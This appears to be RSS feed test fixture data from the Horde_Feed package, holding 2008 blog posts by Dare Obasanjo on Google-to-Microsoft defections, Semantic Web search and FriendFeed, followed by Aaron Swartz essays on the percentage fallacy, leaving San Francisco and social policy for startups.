since I’ve seen lots of people who left the company for “greener pastures” return in the past year (at least 8 people I know personally have rejoined) . However in this blog post I’ll stick to talking about people who’ve chosen Microsoft over Google. </p> <p> First of all there’s the post by Sergey Solyanik entitled <a href="http://1-800-magic.blogspot.com/2008/06/back-to-microsoft.html">Back to Microsoft</a> where he primarily gripes about the culture and lack of career development at Google, some key excerpts are </p> <blockquote> <p> <em>Last week I left Google to go back to Microsoft, where I started this Monday (and so not surprisingly, I was too busy to blog about it) <br> … <br> So why did I leave? </em> </p> <p> <em>There are many things about Google that are not great, and merit improvement. There are plenty of silly politics, underperformance, inefficiencies and ineffectiveness, and things that are plain stupid. I will not write about these things here because they are immaterial. I did not leave because of them. No company has achieved the status of the perfect workplace, and no one ever will.</em> </p> <p> <em>I left because Microsoft turned out to be the right place for me. <br> … <br> Google software business is divided between producing the "eye candy" - web properties that are designed to amuse and attract people - and the infrastructure required to support them. Some of the web properties are useful (some extremely useful - search), but most of them primarily help people waste time online (blogger, youtube, orkut, etc) <br> … <br> This orientation towards cool, but not necessarilly useful or essential software really affects the way the software engineering is done. Everything is pretty much run by the engineering - PMs and testers are conspicuously absent from the process. While they do exist in theory, there are too few of them to matter. </em> </p> <p> <em>On one hand, there are beneficial effects - it is easy to ship software quickly…On the other hand, I was using Google software - a lot of it - in the last year, and slick as it is, there's just too much of it that is regularly broken. It seems like every week 10% of all the features are broken in one or the other browser. And it's a different 10% every week - the old bugs are getting fixed, the new ones introduced. This across Blogger, Gmail, Google Docs, Maps, and more <br> … <br> The culture part is very important here - you can spend more time fixing bugs, you can introduce processes to improve things, but it is very, very hard to change the culture. And the culture at Google values "coolness" tremendously, and the quality of service not as much. At least in the places where I worked. <br> … <br> The second reason I left Google was because I realized that I am not excited by the individual contributor role any more, and I don't want to become a manager at Google. </em> </p> <p> <em>The Google Manager is a very interesting phenomenon. On one hand, they usually have a LOT of people from different businesses reporting to them, and are perennially very busy. </em> </p> <p> <em>On the other hand, in my year at Google, I could not figure out what was it they were doing. The better manager that I had collected feedback from my peers and gave it to me. There was no other (observable by me) impact on Google. The worse manager that I had did not do even that, so for me as a manager he was a complete no-op. I asked quite a few other engineers from senior to senior staff levels that had spent far more time at Google than I, and they didn't know either. I am not making this up!</em> </p> </blockquote> <p> Sergey isn’t the only senior engineer I know who  has contributed significantly to Google projects and then decided Microsoft was a better fit for him. Danny Thorpe <a href="http://dannythorpe.com/about2/">who worked on Google Gears is back at Microsoft</a> for his second stint working on developer technologies related to Windows Live.  These aren’t the only folks I’ve seen who’ve decided to make the switch from the big G to the b0rg, these are just the ones who have blogs that I can point at. </p> <p> Unsurprisingly, the fact that Google isn’t a good place for senior developers is also becoming clearly evident in their interview processes. Take this post from Svetlin Nakov entitled <a href="http://www.nakov.com/blog/2008/03/15/rejected-a-program-manager-position-at-microsoft-dublin-my-successful-interview-at-microsoft/">Rejected a Program Manager Position at Microsoft Dublin - My Successful Interview at Microsoft</a> where he concludes </p> <blockquote> <h4> <em>My Experience at Interviews with Microsoft and Google</em> </h4> <p> <em>Few months ago I was interviewed for a software engineer in Google Zurich. If I need to compare Microsoft and Google, I should tell it in short: Google sux! Here are my reasons for this:</em> </p> <p> <em>1) Google interview were not professional. It was like Olympiad in Informatics. Google asked me only about algorithms and data structures, nothing about software technologies and software engineering. It was obvious that they do not care that I had 12 years software engineering experience. They just ignored this. The only think Google wants to know about their candidates are their algorithms and analytical thinking skills. Nothing about technology, nothing about engineering.</em> </p> <p> <em>2) Google employ everybody as junior developer, ignoring the existing experience. It is nice to work in Google if it is your first job, really nice, but if you have 12 years of experience with lots of languages, technologies and platforms, at lots of senior positions, you should expect higher position in Google, right?</em> </p> <p> <em>3) Microsoft have really good interview process. People working in Microsoft are relly very smart and skillful. Their process is far ahead of Google. Their quality of development is far ahead of Google. Their management is ahead of Google and their recruitment is ahead of Google.</em> </p> <h4> <em>Microsoft is Better Place to Work than Google</em> </h4> <p> <em>At my interviews I was asking my interviewers in both Microsoft and Google a lot about the development process, engineering and technologies. I was asking also my colleagues working in these companies. I found for myself that Microsoft is better organized, managed and structured. Microsoft do software development in more professional way than Google. Their engineers are better. Their development process is better. Their products are better. Their technologies are better. Their interviews are better. Google was like a kindergarden - young and not experienced enough people, an office full of fun and entertainment, interviews typical for junior people and lack of traditions in development of high quality software products.</em> </p> </blockquote> <p> Based on my observations, I have theory that Google’s big problem is that the company hasn’t realized that it isn’t a startup anymore. This disconnect between the company’s status and it’s perception of itself manifests in a number of ways </p> <ol> <li> <p> Startups don’t have a career path for their employees. Does anyone at Facebook know what they want to be in five years besides <b>rich</b>? However once riches are no longer guaranteed and the stock isn’t firing on all cylinders (<a href="http://finance.google.com/finance?chdnp=1&amp;chdd=1&amp;chds=1&amp;chdv=1&amp;chvs=maximized&amp;chdeh=0&amp;chdet=1214749539170&amp;chddm=48484&amp;cmpto=INDEXNASDAQ:.IXIC;INDEXDJX:.DJI&amp;q=NASDAQ:GOOG&amp;">GOOG is underperforming both the NASDAQ and DOW Jones industrial average this year</a>) then you need to have a better career plan for your employees that goes beyond “free lunches and all the foosball you can handle". </p> </li> <li> <p> There is no legacy code at a startup. When your code base is young, it isn’t a big deal to have developers checking in new features after an overnight coding fit powered by caffeine and pizza. For the most part, the code base shouldn’t be large enough or interdependent enough for one change to cause issues. However it is practically a law of software development that the older your code gets the more lines of code it accumulates and the more closely coupled your modules become. This means changing things in one part of the code can have adverse effects in another.  </p> <p> As all organizations mature they tend to add PROCESS. These processes exist to insulate the companies from the mistakes that occur after a company gets to a certain size and can no longer trust its employees to always do the right thing. Requiring code reviews, design specifications, black box &amp; whitebox &amp; unit testing, usability studies, threat models, etc are all the kinds of <em><u>overhead</u></em> that differentiate a mature software development shop from a “fly by the seat of your pants” startup. However once you’ve been through enough fire drills, some of those processes don’t sound as bad as they once did. This is why senior developers value them while junior developers don’t since the latter haven’t been around the block enough. </p> </li> <li> <p> There is less politics at a startup. In any activity where humans have to come together collaboratively to achieve a goal, there will always be people with different agendas. The more people you add to the mix, the more agendas you have to contend with. Doing things by consensus is OK when you have to get consensus from two or three people who sit in the same hallway as you. It’s a totally different ball game when you need to gain it from lots of people from across a diverse company working on different projects in different regions of the world who have different perspectives on how to solve your problems. At Google, even <a href="http://valleywag.com/tech/google/google-checks-applicants-undergrad-gpa-156925.php#c66653">hiring an undergraduate candidate has to go through several layers of committees</a> which means hiring managers need to possess some political savvy if they want to get their candidates approved.  The <a href="http://www.flickr.com/photos/dpstyles/460987802/">founders of Dodgeball quit the Google after their startup was acquired</a> after they realized that they didn’t have the political savvy to get resources allocated to their project. </p> </li> </ol> <p> The fact that Google is having problems retaining employees isn't news, Fortune wrote <a title="Where does Google go next?" href="http://money.cnn.com/2008/05/09/technology/where_does_google_go.fortune/">an article about it</a> just a few months ago. The technology press makes it seem like people are ditching Google for hot startups like FriendFeed and Facebook. However the truth is more nuanced than that. Now that Google is just another big software company, lots of people are comparing it to other big software companies like Microsoft and finding it lacking. </p> <p> <b>Now Playing:</b> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Queen">Queen</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Under%20Pressure%20%28feat.%20David%20Bowie%29&amp;artistTerm=Queen">Under Pressure (feat. David Bowie)</a></p> <script> digg_url = 'http://digg.com/microsoft/The_GOOG_MSFT_Exodus_Work'; </script> <script src="http://digg.com/api/diggthis.js"> </script> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=CUVIti"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=CUVIti" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=uEj2Oi"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=uEj2Oi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=Dzqg1i"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=Dzqg1i" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=d7CXAI"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=d7CXAI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/322657503" height="1" width="1"/> Is the Semantic Web Really the Next Frontier in Search Engine Technology? http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=193de2bb-5f52-4182-a3d5-6a975b3cabaf 2008-06-26T05:37:36.59375-07:00 2008-06-26T05:37:36.59375-07:00 <p> Last week TechCrunch UK wrote about a search startup that utilizes AI/Semantic Web techniques named True Knowledge. The post entitled <a href="https://mail.microsoft.com/redir.aspx?C=b6ae77ee262f4137a7dafe2ee6519e02&amp;URL=http%3a%2f%2fuk.techcrunch.com%2f2008%2f06%2f19%2fvcs-price-true-knowledge-at-20m-pre-money-is-this-the-uks-powerset%2f">VCs price True Knowledge at £20m pre-money. Is this the UK’s Powerset?</a>  stated </p> <blockquote> <p> The chatter I’m hearing is that True Knowledge is being talked about in hushed tones, as if it might be the <a href="http://PowerSet.com">Powerset</a> of the UK. To put that in context, Google has tried to buy the Silicon Valley search startup several times, and they have only <a href="http://www.techcrunch.com/2008/05/11/powerset-launches-showcase-for-user-search-experience/">launched a showcase</a> product, not even a real one. However, although True Knowledge and Powerset are similar, they are different in significant ways, more of which later.<br> ...<br> Currently in private beta, True Knowledge says their product is capable of intelligently answering - in plain English - questions posed on any topic. Ask it if Ben Affleck is married and it will come back with "Yes" rather than lots of web pages which may or may not have the answer (don’t ask me!).<br> ...<br> Here’s why the difference matters. True Knowledge <em>can infer answers that the system hasn’t seen</em>. Inferences are created by combining different bits of data together. So for instance, without knowing the answer it can work out how tall the Eiffel Tower is by inferring that it is shorter that the Empire State Building but higher than St Pauls Cathedral.<br> ...<br> AI software developer and entrepreneur William Tunstall-Pedoe is the founder of True Knowledge. He previously developed a technology that can solve a commercially published crossword clues but also explain how the clues work in plain English. See the connection? </p> </blockquote> <p> The scenarios described in the TechCrunch write up should sound familiar to anyone who has spent any time around fans of the <a href="http://en.wikipedia.org/wiki/Semantic_Web">Semantic Web</a>. Creating intelligent agents that can interrogate structured data on the Web and infer new knowledge has turned out to  be easier said than done because for the most part content on the Web isn't organized according to the structure of the data. This is primarily due to the fact that HTML is a presentational language. Of course, even if information on the Web was structured data (i.e. idiomatic XML formats) we still need to build machinary to translate between all of these XML formats. </p> <p> Finally, in the few areas on the Web where structured data in XML formats is commonplace such as Atom/RSS feeds for blog content, not a lot has been done with this data to fulfill the promise of the Semantic Web. </p> <p> So if the Semantic Web is such an infeasible utopia, why are more and more search startups using that as the angle from which they will attack Google's dominance of Web search? The answer can be found in Bill Slawski's post from a year ago entitled <a href="http://searchengineland.com/070705-010321.php">Finding Customers Through Anti-Commercial Queries</a> where he wrote </p> <blockquote> <p> <b> <em>Most Queries are Noncommercial</em> </b> </p> <p> <em>The first step might be to recognize that most queries conducted by people at search engines aren't aimed at buying something. A paper from the WWW 2007 held this spring in Banff, Alberta, Canada, </em> <a href="http://www2007.org/posters/poster989.pdf"> <em>Determining the User Intent of Web Search Engine Queries</em> </a> <em>, provided a breakdown of the types of queries that they were able to classify.</em> </p> <p> <em>Their research uncovered the following numbers: "80% of Web queries are informational in nature, with about 10% each being navigational and transactional." The research points to the vast majority of searches being conducted for information gathering purposes. One of the indications of "information" queries that they looked for were searches which include terms such as: “ways to,” “how to,” “what is.”</em> </p> </blockquote> <p> Although the bulk of the revenue search engines make is from people performing commercial queries such as searching for "incredible hulk merchandise", "car insurance quotes" or "ipod prices", this is actually a tiny proportion of the kinds of queries people want answered by search engines. The majority of searches are about <a href="http://en.wikipedia.org/wiki/5_Ws">the five Ws (and one H)</a> namely "who", "what", "where", "when", "why" and "how". Such queries don't really need a list of Web pages as results, they simply require an answer. The search engine that can figure out how to always answer user queries directly on the page without making the user click on half a dozen pages to figure out the answer will definitely have moved the needle when it comes to the Web search user experience. </p> <p> This explains why scenarios that one usually associates with AI and Semantic Web evangelists are now being touted by the new generation of "Google-killers". The question is whether knowledge inference techniques will prove to be more effective than traditional search engine techniques when it comes to providing the best search results especially since a lot of the traditional search engines are <a href="http://www.google.com/intl/en/press/pressrel/universalsearch_20070516.html">learning</a> <a href="http://blogs.msdn.com/livesearch/archive/2008/05/30/wikipedia-gets-big.aspx">new tricks</a>. </p> <p> <strong>Now Playing:</strong> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Bob Marley">Bob Marley</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Waiting In Vain&amp;artistTerm=Bob Marley">Waiting In Vain</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=KHlp3i"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=KHlp3i" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=sxQCTi"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=sxQCTi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=aUaByi"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=aUaByi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=6s3Y2I"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=6s3Y2I" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/320501707" height="1" width="1"/> The "Popularity" of FriendFeed is a Bug in the Social Software Ecosystem http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=179b69d3-5b69-4d12-9e13-34888e955714 2008-06-26T05:37:19.1875-07:00 2008-06-26T05:37:19.1875-07:00 <p>  At the end of February of this year, I wrote a post entitled <a href="http://www.25hoursaday.com/weblog/2008/02/28/NoContestFriendFeedVsTheFacebookNewsFeed.aspx">No Contest: FriendFeed vs. The Facebook News Feed</a> where I argued that it would be a two month project for an enterprising developer at Facebook to incorporate all of the relevant features of FriendFeed that certain vocal bloggers had found so enticing. Since then we've had two announcements from Facebook </p> <p> From <a href="http://blog.facebook.com/blog.php?post=13245367130">A new way to share with friends</a> on April 15th </p> <blockquote> <p> <em>we've introduced a way for you to import activity from other sites into your Mini-Feed (and into your friends' News Feeds). </em> </p> <p> <em> <img src="http://photos.l3.facebook.com/photos-l3-sf2p/v233/75/57/500031439/n500031439_809927_3757.jpg"></img> </em> </p> <p> <em> <img src="http://photos.l3.facebook.com/photos-l3-sf2p/v233/75/57/500031439/n500031439_809926_6052.jpg"></img> </em> </p> <p> <em>The option to import stories from other sites can be found via the small "Import" link at the top of your Mini-Feed. Only a few sites—Flickr, Yelp, Picasa, and del.icio.us—are available for importing at the moment, but we'll be adding Digg and other sites in the near future. These stories will look just like any other Mini-Feed stories, and will hopefully increase your ability to share information with the people you care about.</em> </p> </blockquote> <p> From on <a href="http://blog.facebook.com/blog.php?post=20877767130">We're Open For Commentary</a> on June 25th (Yesterday) </p> <blockquote> <p> <em>In the past, you've been able to comment on photos, notes and posted items, but if there was something else on your friend's profile—an interesting status, or a cool new friendship—you'd need to send a message or write a Wall post to talk about it. But starting today, you can comment on your friends' Mini-Feed stories right from their profile. </em> </p> <p> <em> <img src="http://photos-f.ak.facebook.com/photos-ak-sf2p/v258/50/121/20531316728/n20531316728_1057085_6070.jpg"></img> </em> </p> <p> <em>Now you can easily converse around friends' statuses, application stories, new friendships, videos, and most other stories you see on their profile. Just click on the comment bubble icon to write a comment or see comments other people have written.</em> </p> </blockquote> <p> It took a little longer than two months but it looks like I was right. For some reason Facebook isn't putting the comment bubbles in the news feed but I assume that is only temporary and they are trying it out in the mini-feed first. </p> <p> FriendFeed has always seemed to me to be a weird concept for a stand alone application. Why would I want to go to whole new site and create yet another friend list just to share what I'm doing on the Web with my friends? Isn't that what social networking sites are for? It just sounds so inconvenient, <em>like carrying around a pager instead of a mobile phone</em>. </p> <p> As I said in my original post on the topic, all FriendFeed has going for it is the community that has built around the site. Especially since the functionality it provides can be easily duplicated and actually fits better as a feature of an existing social networking site. The question is whether that community is the kind that will grow into making it a mainstream success or whether it will remain primarily a playground for Web geeks despite all the hype (see <a href="http://avc.blogs.com/a_vc/2008/04/we-need-a-new-p.html">del.icio.us as an example</a> of this). So far, the chance of the latter seems strong. For comparison, consider the growth curve of Twitter against that of FriendFeed on <a title="Google Trends Chart: FriendFeed vs Twitter" href="http://trends.google.com/websites?q=twitter.com,+friendfeed.com&amp;sa=N">Google Trends</a> and <a title="Alexa Chart: FriendFeed vs Twitter" href="http://www.alexa.com/data/details/traffic_details/friendfeed.com?site0=friendfeed.com&amp;site1=twitter.com&amp;y=r&amp;z=3&amp;h=300&amp;w=610&amp;range=6m&amp;size=Medium">Alexa</a>.  Which seems more likely to one day have the brand awareness of a Flickr or a Facebook? </p> <p> <strong>Now Playing:</strong> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Bob Marley">Bob Marley</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=I Shot The Sheriff&amp;artistTerm=Bob Marley">I Shot The Sheriff</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=5BRrHi"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=5BRrHi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=4Hl3Yi"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=4Hl3Yi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=zh2Dji"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=zh2Dji" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=UZs18I"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=UZs18I" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/320501708" height="1" width="1"/> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.aaronsw.com-weblog-index.xml0000664000175000017500000013133212653701626027150 0ustar janjan Raw Thought (from Aaron Swartz) http://www.aaronsw.com/weblog/ "capture what you experience and sort it out; only in this way can you hope to use it to guide and test your reflection, and in the process shape yourself as an intellectual craftsman" -- C. Wright Mills en-us Aaron Swartz The Percentage Fallacy http://www.aaronsw.com/weblog/percentagefallacy There's one bit of irrationality that seems like it ought to be in behavioral economics introduction but mysteriously isn't. For lack of a better term, let's call it the percentage fallacy. The idea is simple:

    One day I find I need a blender. I see a particularly nice one at the store for $40, so I purchase it and head home. But on the way home, I see the exact same blender on sale at a different store for $20. Now I feel ripped off, so I drive back to the first store, return the blender, drive back to the second store, and buy it for $20.

    The next day I find I need a laptop. I see a particularly nice one at the store for $2500, so I purchase it and head home. But on the way home, I see the exact same laptop for $2480. "Pff, well, it's only $20," I say, and continue home with the original laptop.

    I'm sure all of you have done something similar -- maybe the issue wasn't having to return something, but spending more time looking for a cheaper model, or fiddling with coupons and rebates, or buying something of inferior quality. But the basic point is consistent: we'll do things to save 50% that we'd never do to save 1%.

    At first this almost seems rational -- of course we're going to do more to save more money! But you aren't saving more money. With both the blender and the laptop, you have the chance to save $20. Either way, you're going to have another twenty in your pocket, which you can spend on exactly the same things later on. Yet we behave differently depending on whether we got that twenty by skimping on a small purchase or skimping on a big one. Rationally, if driving back to the store isn't worth $20 when you're buying a laptop, it isn't worth $20 when you're buying a blender.

    On the other hand, don't those small savings tend to add up after a while? If you start blowing $20 every time you buy a trinket, you're soon going to be out of disposable income. Meanwhile, spending several thousand dollars is much rarer, so isn't it OK to slack off a bit on such occasions?

    If we work to save 50% on everything, big or small, that's the equivalent of saving 50% of our money altogether. Whereas if we only try to save fixed amounts on every purchase, how much we save is dependent on how many things we buy.

    So which is the real irrationality? I'm not entirely sure of the answer.

    ]]>     2008-07-21T22:43:39-05:00     Capital and its Complements: A Summary http://www.aaronsw.com/weblog/comcap The following is a non-technical summary of Brad DeLong's May 2008 paper Capital and Its Complements.

    Adam Smith explained that in all countries with "security of property and tolerable administration of justice" citizens would spend all their money (capital), either on consumption or investment, causing the country's economy to grow. After some contention, later economic studies tended to bare this out: a shortage of capital wasn't always the bottleneck, but when it was, removing it could lead to extraordinarily rapid growth.

    The problem for poor countries is that, because of high mortality rates (which require more children to have some survive) and low educational levels (which mean those children can find productive employment quickly), they have high population growth and thus low capital-to-labor ratios. Worse, trade allows you to spend your money buying manufactured goods from overseas, for which you have only your very cheap labor to provide in return. The result is that it requires an enormous amount of domestic investment to improve capital-to-labor ratios.

    And so rich country economists made "the neoliberal bet" on behalf of poor countries: they hoped that loosening restrictions on international capital flows would send capital rushing in to poor countries and build their economies, the same way that Great Britain's massive investment in a young United States (in 1913 Britain's foreign assets equaled 60% of its domestic capital stock) built up that country.

    But what ended up happening was exactly the opposite. Yes, NAFTA led US companies to invest the $20 to $30 billion a year on manufacturing in Mexico that its boosters predicted, but that investment was more than outweighed by the $30 to $40 billion a year fleeing the country from Mexico's wealthy wanting to invest it in the United States. Why? In part because the US was more politically stable, and thus a safer investment climate. And in part because the US treats its own workers so poorly -- with productivity rising 35% since 2000 while real wages remain flat -- it provides an excellent investment opportunity.

    But meanwhile, all this investment in the US was dwarfed by the Chinese acquisition of our debt (and thus the political risk it represents). China needed to do this, since US purchase of their exports is the only thing funding the manufacturing-led industrialization of a massive portion of their economy; there would be massive dislocation if that funding dried up.

    "Recognition of these facts came slowly." First, Larry Summers said it was our unsustainable current account deficit. (That was the 1990s; today that deficit is four times as large.) Later, economists thought it must have been our large budget deficits. Then they began thinking it was the run-up in housing prices. But that, it is now clear to most economists, was the result of a bubble. And yet the flow of capital to the US continues. But, perhaps even more frighteningly, it could stop at any moment.

    ]]>     2008-06-30T15:45:50-05:00     Last Goodbyes http://www.aaronsw.com/weblog/lastgoodbyes It's minutes to midnight and I'm hurriedly packing. Early tomorrow morning I catch a flight to Boston and start my new life. I haven't really gotten much of a chance to pack until now, because I've spent the past few days in a rush of meetings, getting in my last goodbyes for everyone I know in San Francisco.

    It's been great seeing everyone, but like most locals, they're all puzzled as to why I'm leaving. I've been struggling to explain why. When I say the weather, everyone just laughs. When I say San Francisco is too loud, they start arguing. When I say it's the people, they tell me to find a better group of friends.

    And the thing is, they're right. It's none of these. I've been spectacularly unable to articulate it, but the real answer is simpler and more prosaic. And now, after great thought and struggle, I realize the answer is simply this: Cambridge is the only place that's ever felt like home. It's that simple. And when you put it that way, it's clear why I have to go.

    So goodbye Stanford, goodbye Palo Alto; goodbye south bay, goodbye peninsula; goodbye Change Congress, goodbye Creative Commons; goodbye Mission, goodbye SOMA; goodbye friends, goodbye loved ones; goodbye San Francisco, home to everyone I've ever loved. You'll always have my heart.

    ]]>     2008-06-19T06:50:55-05:00     Scenes http://www.aaronsw.com/weblog/scenes "God, I'm so sick of this stuff. Can't we just go home?" she wines. "Jesus," I say, "would it kill you to go one more place?" It's been a long hot day in strange, busy New York City, and we're not exactly at our best. In fact, the combination of heat and exhaustion has turned our love bitter, brought on the darkness and recriminations. Its at moments like these, the dark depths of a relationship, that you wonder how things could ever work. As we walk down the steps we hear a subway car approach. We accelerate, running to catch it. Its doors open. We're moving faster now, pushing our way through the bustle of Manhattanites to make it. The bell sounds and I jump inside and hear the doors whoosh closed behind me. I spin around only to see her trapped on the other side of the glass. I put my hand up to it, but the train accelerates and she's left standing there, just another face in the crowd.

    "Hey, want to see the game? Want a ticket to the Giants game?" I do not, in fact, want to see the game -- this or any other game. I hate sports. Yet the scalpers, apparently unaware of this, insist on trying to sell me one. That's what I get for walking near the ballpark, I guess. As I curse my choice of scenery, a cop pulls up. He lowers his window and leans out toward the scalper. The scalper hands him a ticket and the cop speeds off. "But he didn't pay!" a man in a suit walking by complains. "Cops get a special deal," explain the scalper. The man in the suit laughs and marvels at the scene.

    It's weird being back at Stanford in the summer. Everything's so empty, nobody's around. Well, not nobody -- there seems to be some action near the main quad. There are drum kits spread around and golf carts and purple uniforms lying about. But most of all, there are people -- a bunch of students just standing around awkwardly. I'm about to ask one of them what's going on when a bell rings and a voice shouts "Background!" Suddenly all the students snap to attention, begin walking in perfect lines with bookbags slung over their shoulder, bicycles ridden in perfect formation. These aren't students at all, I realize with a lurch -- they're extras. It's disconcerting. A police guard is at the side, keeping kids from running over the camera crew. I ask her what they're filming. "Disney's High School Musical," she says quickly, trying to keep a student from cycling over the director's cart.

    ]]>     2008-06-19T00:08:40-05:00     Moving On http://www.aaronsw.com/weblog/movingon In November 2006, I moved to San Francisco because I had to: my company got acquired and us moving out was a condition of the agreement. It was the first time I'd ever actually lived in San Francisco, as opposed to just visiting, and I quickly realized that although it was a fun place to visit, I couldn't stand living here.

    Even after all this time, I can't really put my finger on what it is I don't like -- in fact, I suspect it's probably harder for me now to explain it than it was when I first came here. The first thing that comes to mind is how loud the city is. I want a place where I can live quietly and focus on my work; but San Francisco is filled with distractions. There are always crews tearing up the street, trains that are delayed, buses that have broken down, homeless people begging, friends having parties, and so on. It's impossible to concentrate and without my concentration, I feel less like me.

    The other big problem is that San Francisco is fairly shallow. When I go to coffee shops or restaurants I can't avoid people talking about load balancers or databases. The conversations are boring and obsessed with technical trivia, or worse, business antics. I don't see people reading books -- even at the library, all the people are in line for the computer terminals or the DVD rack -- and people at parties seem uninterested in intellectual conversation.

    And so I'm moving back to Cambridge, Massachusetts -- Harvard Square in particular, the one place I've ever been to that brings a special delight to my eyes, that warms my heart just to see. Surrounded by Harvard and MIT and Tufts and BC and BU and on and on it's a city of thinking and of books, of quiet contemplation and peaceful concentration. And it has actual weather, with real snow and seasons and everything, not this time-stands-still sun that San Francisco insists upon.

    I miss Boston; I'm excited to go back.

    But I'm also sad to leave my responsibilities in San Francisco. One of which I'd particularly like your help with. I've been honored and overjoyed to help Lawrence Lessig get his Change Congress project off the ground. If you haven't heard, he's trying to build a national movement to get the corruption out of Congress; to pass public financing of public elections, earmark reform, and other pressing concerns.

    But they need a full-time day-to-day tech organizer. Someone who knows how to blog and who the bloggers are and can keep them in touch with the community. Someone who knows enough about technology to know the tools that can be built and should be. And someone with enough drive and talent to make sure those things get built. It's a dreamy job and I hope there's someone out there who will take it from me. A more formal write-up is on the Change Congress blog.

    Thanks for everything.

    ]]>     2008-06-16T21:38:27-05:00     Is Undercover Over? http://www.aaronsw.com/weblog/undercoverover My latest piece for Extra! is now up:

    Is Undercover Over?: Disguise seen as deceit by timid journalists

    It's about the rise and fall of undercover journalism. Here's an excerpt:

    Undercover reporting has a storied history. Nellie Bly, famous for traveling around the world in 80 days, also did a famed investigation of the conditions in insane asylums for the New York World. Bly feigned insanity for a series of physicians before being committed to a lunatic asylum. There she documented rotten and spoiled food, freezing living conditions, frigid bathwater, abusive nurses and relatively sane fellow residents. "What, excepting torture, would produce insanity quicker than this treatment?" she wondered. The series, later published as the book Ten Days in a Mad-House, created a sensation, and Bly was asked to join a government investigation of asylum conditions.

    ]]>     2008-06-12T21:57:31-05:00     How to Promote Startups http://www.aaronsw.com/weblog/prostartup When people talk about how government can promote startups, there seems to be a fairly standard consensus: we need more economic inequality. Lower income and capital gains taxes provide more incentive to work, looser labor laws make it easier to fire non-performers, and large private wealth funds provide investment capital.

    But having been through a startup myself, I think there's much more you can do in the other direction: decreasing economic inequality. People love starting companies. You get to be your own boss, work on something you love, do something new and exciting, and get lots of attention. As Daniel Brook points out in The Trap, 28% of Americans have considered starting their own business. And yet only 7% actually do.

    What holds them back? The lack of a social safety net. A friend of mine, a brilliant young technologist who's been featured everywhere from PBS to Salon, stayed in academia and the corporate world while all of her friends were starting companies and getting rich. Why? Because she couldn't afford to lose her health insurance. Between skyrocketing prices and preexisting condition exclusions, it's almost impossible for anyone who isn't in perfect health to quit their job. (I only managed because I was on a government plan.)

    Anyone with children is also straight out. Startup founders tend to be quite young, in no small part because no one can afford to support a family on a startup founder's salary. But if we had universal child care, that would be much less of an issue. Parents would be free to pursue their dreams, knowing that their children were taken care of. And universal higher education could let parents spend their savings on getting a business started, instead of their children's tuition. Plus, it'd give many more kids the training and confidence they needed to start a company.

    And those large private wealth funds that result from growing inequality? A real problem for startup founders is that they're too large. It used to be that you could borrow a couple thousand dollars from friends and neighbors to get your business off the ground. Nowadays, they're too busy trying to make ends meet to be able to afford anything like that. Meanwhile, those large wealth funds I mentioned are now so big they can only afford to invest in multi-million dollar chunks -- much more than the average founder needs, or can even justify. And the large investments come with large amounts of scrutiny, further narrowing the recipient pool.

    But imagine if the government provided a basic minimum income, like Richard Nixon once proposed. Instead of having to save up (increasingly difficult in a world in which the only way to survive is on credit card debt) or borrow money to stay afloat, you could live off the government-provided income as you got things started. Suddenly having to quit your job would no longer be such a huge leap -- there'd be a real social safety net to catch you. (Not to mention if those labor laws some people want to loosen required your old job to take you back if things didn't work out.)

    Of course, there is some truth to the standard proposals. Some startup founders are encouraged by dreams of financial security, and high taxes can make that dream more elusive. And complex labor regulations can make it difficult to get new companies off the ground. But it's not an issue of whether we should have taxes or labor laws -- it's an issue of how they're targeted.

    Estate taxes on inherited fortunes would have basically no impact on startup founders, but could go a long way to funding a social safety net. And since most startups are acquired as stock, income taxes are basically irrelevant -- it's really capital gains tax that gets applied. There's no reason the government couldn't apply a lower capital gains tax to startups that get acquired than they do to the shares of publicly-traded companies that large investors trade.

    The same is true for labor laws: preventing large companies from firing people at random can provide some much-needed stability to their lives, especially if they're saving up money in the hopes of going into business themselves. But there's no reason such laws also have to be applied to small startups, where the company is more likely to go out of business than to fire you.

    Look at social democratic Europe, where these policy prescriptions have been tried. While there's much less of a culture of entrepreneurship and only 15% of Europeans think about starting their own company, nearly all (14.7%) of them actually go ahead and do it.

